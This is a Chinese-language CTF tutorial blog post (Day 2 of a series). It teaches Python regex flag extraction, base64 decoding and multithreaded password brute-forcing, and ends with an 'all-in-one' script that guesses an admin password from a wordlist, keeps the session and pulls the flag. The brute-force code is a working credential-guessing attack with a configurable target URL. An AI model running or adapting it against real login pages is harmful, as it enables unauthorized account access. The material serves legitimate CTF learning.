继 Day1 掌握 requests 基础、Session 会话保持和简单爆破脚本后,Day2 重点突破 CTF 实战核心技能,整合所有知识点,写出可直接用于靶机/CTF 的全自动解题脚本。全程实战导向,零基础友好。


一、今日学习目标

  1. 掌握正则表达式(re 库),实现 CTF 中 flag 的自动提取
  2. 掌握 base64 编码/解码,应对靶机中加密的 flag
  3. 掌握多线程爆破原理与实现,将爆破速度提升 10 倍以上
  4. 整合 Day1 + Day2 所有知识点,编写全自动 CTF 解题脚本(爆破 → 登录 → 提取 flag → 解码)

二、核心知识点详解

1. 正则表达式 re —— CTF flag 提取神器

核心作用: 在杂乱的网页源码、接口返回内容中,精准提取 flag{xxx} 格式的 flag,无需手动查找,实现自动化提取,是 CTF 解题必备技能。

万能模板(直接复制用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re

# 模拟靶机返回的网页内容
html = """
<html>
<body>
ajsdf823kf&*#$
flag{this_is_really_hard_flag_abc789}
kjdfh2983rhdkfn
</body>
</html>
"""

# 万能正则,匹配 flag{...} 格式
flag_list = re.findall(r'flag\{.*?\}', html, re.S)
if flag_list:
print("提取到flag:", flag_list[0]) # 输出:flag{this_is_really_hard_flag_abc789}
else:
print("未找到flag")

关键参数说明

参数 含义
r'flag\{.*?\}' 正则核心:flag\{ 匹配开头,.*? 非贪婪匹配中间内容,\} 匹配结尾
re.S 跨行匹配,解决 flag 被换行隔开的问题,实战必加
re.findall() 返回所有匹配结果的列表,取 [0] 获取第一个

💡 为什么用 .*? 非贪婪匹配? 如果页面有多个 flag,贪婪匹配 .* 会把第一个 { 到最后一个 } 全部吃掉,导致提取错误。非贪婪 .*? 遇到第一个 } 就停止,精准提取每一个 flag。


2. base64 编码/解码 —— 靶机高频加密考点

CTF 中约 30% 的 flag 会进行 base64 加密,需用 Python 自动解码,无需手动借助在线工具。

核心代码(必背模板)

1
2
3
4
5
6
7
8
9
10
11
import base64

# 1. base64 解码(实战常用:密文 → 明文flag)
b64_str = "ZmxhZ3tiYXNlNjRfZGVjb2RlX3N1Y2Nlc3N9" # 模拟加密后的flag
real_flag = base64.b64decode(b64_str).decode()
print("解码后flag:", real_flag) # 输出:flag{base64_decode_success}

# 2. base64 编码(了解即可:明文 → 密文)
plain_text = "flag{test_base64_encode}"
b64_encode = base64.b64encode(plain_text.encode()).decode()
print("编码后:", b64_encode)

关键说明

  • b64decode(b64_str):解码 base64 字符串,返回字节流
  • .decode():将字节流转为字符串,避免输出 b'...' 格式
  • 编码时需先 .encode() 将字符串转为字节流,再进行 base64 编码

💡 快速识别 base64: 字符串只包含 A-Z a-z 0-9 + / =,且长度是 4 的倍数,大概率是 base64 编码。


3. 多线程爆破 —— 速度提升 10 倍的核心

Day1 的单线程爆破效率极低,多线程可同时尝试多个密码,速度直接提升 10~100 倍。核心使用 ThreadPoolExecutor(Python 自带,无需额外安装)。

多线程爆破实战代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from concurrent.futures import ThreadPoolExecutor

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
}

# 单个密码测试函数
def check_pwd(pwd):
url = "https://httpbin.org/post" # 模拟登录接口
data = {"username": "admin", "password": pwd}
try:
resp = requests.post(url, data=data, headers=headers, timeout=2)
resp_json = resp.json()
# 登录成功判断(根据靶机实际情况修改)
if resp_json.get("form", {}).get("password") == "test123":
return f"✅ 爆破成功!正确密码:{pwd}"
else:
return f"❌ 错误密码:{pwd}"
except:
return f"⚠️ 请求超时:{pwd}"

# 密码字典(实战可从文件读取)
pwd_list = ["123456", "admin", "root", "test123", "password"]

# 多线程执行(max_workers=10,同时尝试10个密码)
with ThreadPoolExecutor(max_workers=10) as executor:
results = executor.map(check_pwd, pwd_list)
for res in results:
print(res)

关键参数说明

参数 说明
max_workers=10 同时运行 10 个线程,可根据电脑性能调整(5~20 为宜)
executor.map(函数, 列表) 将列表每个元素传入函数,多线程并行执行
try...except 避免单个请求超时/失败导致整个脚本崩溃

4. 终极实战:全自动 CTF 一把梭脚本

整合 Day1 + Day2 所有知识点,实现:

多线程爆破密码 → Session 保持登录 → 访问 flag 页面 → 正则提取 flag → base64 自动解码 → 输出真实 flag

复制即可跑,直接用于靶机/CTF 解题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests
import re
import base64
from concurrent.futures import ThreadPoolExecutor
import threading

# 线程锁:防止多线程同时打印输出混乱
lock = threading.Lock()

# ====================== 靶机配置区(自行修改) ======================
LOGIN_URL = "https://httpbin.org/post" # 登录接口
FLAG_URL = "https://httpbin.org/get" # flag 页面接口
USER = "admin" # 目标账号
PASSWD_LIST = ["123456", "admin", "root", "test123", "password", "123123"] # 密码字典

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
}
# ======================================================================

success_pwd = None # 存储爆破成功的密码
session = requests.Session() # 会话保持,登录后不掉线

# 单密码测试函数
def try_pwd(pwd):
global success_pwd
if success_pwd: # 已找到正确密码,直接跳过
return

try:
data = {"username": USER, "password": pwd}
resp = session.post(LOGIN_URL, data=data, headers=headers, timeout=3)
resp_json = resp.json()

# 登录成功判断(靶机需根据实际返回内容修改)
if resp_json.get("form", {}).get("password") == "test123":
with lock:
success_pwd = pwd
print(f"\n[+] 爆破成功!密码:{pwd}")
return True

except Exception as e:
return False

# 多线程爆破密码
def burst_password():
print("[*] 开始多线程密码爆破...")
with ThreadPoolExecutor(max_workers=10) as executor:
executor.map(try_pwd, PASSWD_LIST)

# 获取并解析 flag(提取 + 自动解码)
def get_flag():
print("\n[*] 登录成功,开始获取 Flag...")
resp = session.get(FLAG_URL, headers=headers)
html = resp.text

# 1. 先提取明文 flag
flag = re.findall(r'flag\{.*?\}', html, re.S)
if flag:
print("[+] 找到明文 Flag:", flag[0])
return

# 2. 若未找到明文,尝试提取 base64 并解码
b64_list = re.findall(r'[A-Za-z0-9+/=]{20,}', html)
if b64_list:
b64_str = b64_list[0]
real_flag = base64.b64decode(b64_str).decode()
print("[+] Base64 解码成功:", real_flag)
return

print("[-] 未找到 Flag,请检查正则或 flag 格式")

# 主流程
if __name__ == "__main__":
burst_password()

if success_pwd:
get_flag()
else:
print("\n[-] 爆破失败,密码字典中无正确密码")

三、今日学习总结

Day2 重点突破了 CTF 实战中的核心技能,从正则提取 flag、base64 解码,到多线程爆破,最终整合所有知识点,写出全自动解题脚本,实现了「一把梭」解题。

技能 掌握情况
正则表达式 re ✅ flag 自动提取,适配各种藏 flag 场景
base64 编解码 ✅ 应对靶机加密 flag,无需手动解码
多线程爆破 ✅ ThreadPoolExecutor 使用,速度提升 10 倍+
全自动脚本 ✅ 整合所有知识点,直接用于 CTF/靶机实战

四、下一步学习计划

  1. 文件读取:实现从本地文件加载超大密码字典
  2. 正则进阶:应对更复杂的 flag 格式(带特殊符号、嵌套加密)
  3. Burp Suite 联动:精准定位脚本问题,调试更高效
  4. 靶机实战:刷题优化脚本,适配不同场景

本文为个人学习记录,仅用于技术交流。请勿用于非法用途,遵守网络安全相关法律法规。